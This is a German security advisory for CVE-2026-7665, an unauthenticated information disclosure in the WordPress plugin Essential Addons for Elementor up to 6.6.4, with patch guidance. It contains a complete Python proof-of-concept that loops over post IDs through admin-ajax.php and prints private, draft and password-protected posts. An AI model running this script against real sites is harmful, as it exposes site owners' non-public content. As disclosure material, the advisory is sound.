
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-7665 |
| Schweregrad | Mittel |
| CVSS-Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Betroffenes Plugin | Essential Addons for Elementor |
| Betroffene Versionen | ≤ 6.6.4 |
| Aktive Installationen | 1.000.000+ |
| CVE zugewiesen von | Wordfence (CNA) |
| Offengelegt | Juni 2026 |
| Entdecker | Anirudh Makkar |
Der ajax_load_more AJAX-Handler in Essential Addons for Elementor überprüfte nicht die Sichtbarkeit von Beiträgen, bevor der Inhalt ausgegeben wurde. Dadurch konnten nicht authentifizierte Angreifer private, passwortgeschützte und Entwurfs-WordPress-Beiträge lesen, indem sie eine gezielte Anfrage an wp-admin/admin-ajax.php sendeten – ohne Authentifizierung oder Nonce.
Das Plugin registriert einen Handler für den wp_ajax_nopriv_eael_post_grid_load_more-Action-Hook, der ihn für nicht authentifizierte Besucher zugänglich macht. Wenn dieser Handler eine WP_Query ausführt, um Beiträge für die „Load More“-Paginierungsfunktion abzurufen, wird weder current_user_can('read_post', $post_id) noch eine Überprüfung von get_post_status() gegen die Berechtigungen des anfragenden Benutzers aufgerufen.
WordPress Core verlässt sich darauf, dass Plugins in AJAX-Handlern die Berechtigungen auf Beitragsebene durchsetzen – es tut dies nicht automatisch. Das Fehlen dieser Prüfung führt dazu, dass der Handler unabhängig von den Sichtbarkeitseinstellungen den vollständigen Beitragsinhalt zurückgibt.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // alle Status werden zurückgegeben
...
])
→ [gibt vollständigen Beitragsinhalt ohne Autorisierungsprüfung zurück]
Ein nicht authentifizierter Angreifer kann folgende Beiträge auflisten und lesen:
Dies kann sensible Geschäftsinhalte, unveröffentlichte Ankündigungen, interne Dokumentationen, die als WordPress-Beiträge veröffentlicht wurden, oder andere nicht öffentliche Inhalte, die über den WordPress-Editor verwaltet werden, offenlegen.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unberechtigte Offenlegung von Informationen
Essential Addons for Elementor <= 6.6.4
Verwendung: python3 poc.py https://target.example.com [post_id]
Iteriert über Beitrags-IDs, um private/Entwurfs-/passwortgeschützte Inhalte zu extrahieren.
Nur für Bildungs- und autorisierte Testzwecke.
"""
import requests
import sys
import json
def check_target(base_url):
"""Überprüft, ob das Plugin vorhanden ist."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Verwendung: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Ziel: {target}")
print(f"[*] Durchsuche Beitrags-IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin nicht erkannt – Ziel ist möglicherweise gepatcht oder verwendet kein EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Beitrags-ID {pid} — Inhalt offengelegt ({len(result)} Bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Fertig. {found} Beitrag/Beiträge mit offengelegtem Inhalt gefunden.")
if __name__ == "__main__":
main()
Aktualisieren Sie Essential Addons for Elementor auf Version 6.6.5 oder höher.
Der Fix fügt eine current_user_can('read_post', $post_id)-Prüfung im Load-More-Handler hinzu, bevor ein Beitrag in die Abfrageergebnisse aufgenommen wird.
Gemeldet von Anirudh Makkar · LinkedIn